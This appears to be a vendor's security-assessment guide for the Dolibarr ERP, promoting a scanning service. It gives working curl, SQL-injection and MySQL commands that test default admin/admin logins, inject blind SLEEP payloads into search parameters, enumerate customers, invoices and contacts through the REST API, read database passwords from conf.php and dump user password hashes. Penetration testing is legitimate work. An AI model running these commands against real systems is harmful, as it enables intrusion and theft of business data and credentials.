Dolibarr Security Testing: Default Credentials, SQL Injection, API Key, and Database Config

Dolibarr is a widely deployed open-source ERP and CRM platform built in PHP, used by SMBs to manage customers, invoices, products, accounting, human resources, and projects. Its modular architecture and PHP codebase have produced a consistent stream of SQL injection and file upload CVEs over the years. Key assessment areas: Dolibarr defaults to admin/admin; Dolibarr has a documented SQL injection history (CVE-2023-4197 and multiple prior CVEs) in search and module parameters; the REST API key provides access to all third parties, invoices, and contacts; htdocs/conf/conf.php stores the MySQL database password in plaintext; and the PHP file manager module can enable arbitrary file upload and webshell deployment if activated. This guide covers systematic Dolibarr security assessment.

Table of Contents

  1. Default Credentials and SQL Injection Testing
  2. REST API Business Data Enumeration
  3. conf.php Credentials and File Manager Abuse
  4. Dolibarr Security Hardening

Default Credentials and SQL Injection Testing

# Dolibarr — default credentials and SQL injection testing
DOLIBARR_URL="https://dolibarr.example.com"

# Default credentials: admin / admin (also try admin / dolibarr)
curl -s -c /tmp/doli_sess -b /tmp/doli_sess \
  -X POST "${DOLIBARR_URL}/index.php" \
  --data "actionlogin=login&loginfunction=loginfunction&username=admin&password=admin&backtopage=" \
  -L 2>/dev/null | grep -i "logout\|Dolibarr\|bienvenue\|welcome" | head -3

# SQL injection testing — search and module parameters
# CVE-2023-4197: SQL injection in product/stock search parameters
# Test with time-based blind payload
START=$(date +%s)
curl -s -c /tmp/doli_sess -b /tmp/doli_sess \
  "${DOLIBARR_URL}/product/list.php?sall=test'%20AND%20SLEEP(3)--%20-" \
  2>/dev/null | head -5
END=$(date +%s)
echo "Time elapsed: $((END-START))s"

# SQL injection in thirdparty search (check if blind injection works)
curl -s -c /tmp/doli_sess -b /tmp/doli_sess \
  "${DOLIBARR_URL}/societe/list.php?search_all=test'" \
  2>/dev/null | grep -i "sql\|mysql\|error\|warning" | head -5

# Check Dolibarr version for known CVE applicability
curl -s "${DOLIBARR_URL}/index.php" 2>/dev/null | grep -i "dolibarr\|version" | head -5

REST API Business Data Enumeration

# Dolibarr REST API — business data enumeration
DOLIBARR_URL="https://dolibarr.example.com"
API_KEY="your-dolibarr-api-key"

# Test API access
curl -s "${DOLIBARR_URL}/api/index.php/users?limit=5" \
  -H "DOLAPIKEY: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    if isinstance(d,list):
        for u in d:
            print(f'User: {u.get(\"login\")} email={u.get(\"email\")} admin={u.get(\"admin\")}')
    else:
        print(d)
except: print(sys.stdin.read()[:200])
" 2>/dev/null

# Enumerate all third parties (customers, suppliers, prospects)
curl -s "${DOLIBARR_URL}/api/index.php/thirdparties?limit=200&sortfield=rowid&sortorder=ASC" \
  -H "DOLAPIKEY: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
    print(f'Third parties: {len(d)}')
    for t in d[:20]:
        print(f'  [{t.get(\"id\")}] {t.get(\"name\")} type={t.get(\"client\")} email={t.get(\"email\")} phone={t.get(\"phone\")}')
" 2>/dev/null

# Enumerate all invoices — financial transaction data
curl -s "${DOLIBARR_URL}/api/index.php/invoices?limit=200&sortfield=rowid&sortorder=DESC" \
  -H "DOLAPIKEY: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
    print(f'Invoices: {len(d)}')
    total = sum(float(i.get('total_ttc',0) or 0) for i in d)
    print(f'Total value (with tax): {total:.2f}')
    for i in d[:10]:
        print(f'  [{i.get(\"id\")}] {i.get(\"ref\")} customer={i.get(\"socid\")} total={i.get(\"total_ttc\")} status={i.get(\"statut\")}')
" 2>/dev/null

# Contacts — customer contact details
curl -s "${DOLIBARR_URL}/api/index.php/contacts?limit=200" \
  -H "DOLAPIKEY: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
    print(f'Contacts: {len(d)}')
    for c in d[:10]:
        print(f'  {c.get(\"firstname\")} {c.get(\"lastname\")} email={c.get(\"email\")} phone={c.get(\"phone_pro\")}')
" 2>/dev/null

conf.php Credentials and File Manager Abuse

# Dolibarr conf.php and file manager security testing

# conf.php — MySQL database credentials in plaintext
cat /var/www/html/dolibarr/htdocs/conf/conf.php 2>/dev/null | \
  grep -E "dolibarr_main_db_pass|dolibarr_main_db_user|dolibarr_main_db_host|dolibarr_main_db_name|dolibarr_main_url"
# dolibarr_main_db_pass — MySQL password
# dolibarr_main_db_user — MySQL username

# LDAP settings in conf.php
grep -E "ldap|LDAP|dolibarr_main_auth" \
  /var/www/html/dolibarr/htdocs/conf/conf.php 2>/dev/null

# Check if PHP file manager module (filemanager) is active
curl -s -c /tmp/doli_sess -b /tmp/doli_sess \
  "${DOLIBARR_URL}/index.php" 2>/dev/null | grep -i "filemanager\|gestionnaire"

# Check ECM (Electronic Content Management) module — file upload
curl -s -c /tmp/doli_sess -b /tmp/doli_sess \
  "${DOLIBARR_URL}/ecm/index.php" 2>/dev/null | grep -i "upload\|fichier\|file"

# MySQL direct access — user table with hashed passwords
mysql -u dolibarr -p"DB_PASSWORD" dolibarr 2>/dev/null << 'EOF'
SELECT rowid, login, pass_crypted, admin, entity
FROM llx_user
WHERE statut = 1
ORDER BY admin DESC, rowid
LIMIT 20;
EOF
# pass_crypted — hashed password (older Dolibarr: MD5, newer: bcrypt)

Dolibarr Security Hardening

Dolibarr Security Hardening Checklist:
Security TestMethodRisk
Default admin/admin credential exploitationPOST /index.php with admin:admin — full Dolibarr admin access; all customers, invoices, products, HR records, accounting data, and system configurationCritical
SQL injection in search and module parametersAppend single quote to search_all, sall, and other parameters — CVE-2023-4197 and prior CVEs; time-based blind SQL injection for confirmation; enables database enumeration including all user password hashesHigh (authenticated) / Critical (if unauthenticated)
conf.php MySQL credential extractionRead htdocs/conf/conf.php — dolibarr_main_db_pass in plaintext; enables direct database access to all Dolibarr data including customer financial records and user password hashesCritical
REST API business data enumerationGET /api/index.php/thirdparties, /invoices, /contacts with API key — complete customer, supplier, invoice, and contact database including financial totals and contact PIICritical
File manager / ECM module webshell uploadPOST file via ECM module to web-accessible upload directory — PHP webshell execution if PHP not restricted in upload path; provides OS command execution as web server userCritical (if module enabled and PHP executable)

Automate Dolibarr Security Testing

Ironimo tests Dolibarr deployments for default admin credential exploitation, SQL injection in search and module parameters (CVE-2023-4197 and related), REST API customer, invoice, and contact enumeration, conf.php MySQL credential access, PHP file manager webshell upload testing, ECM module file upload security assessment, user password hash extraction from llx_user, LDAP configuration credential access, and Dolibarr version detection for known CVEs.

Start free scan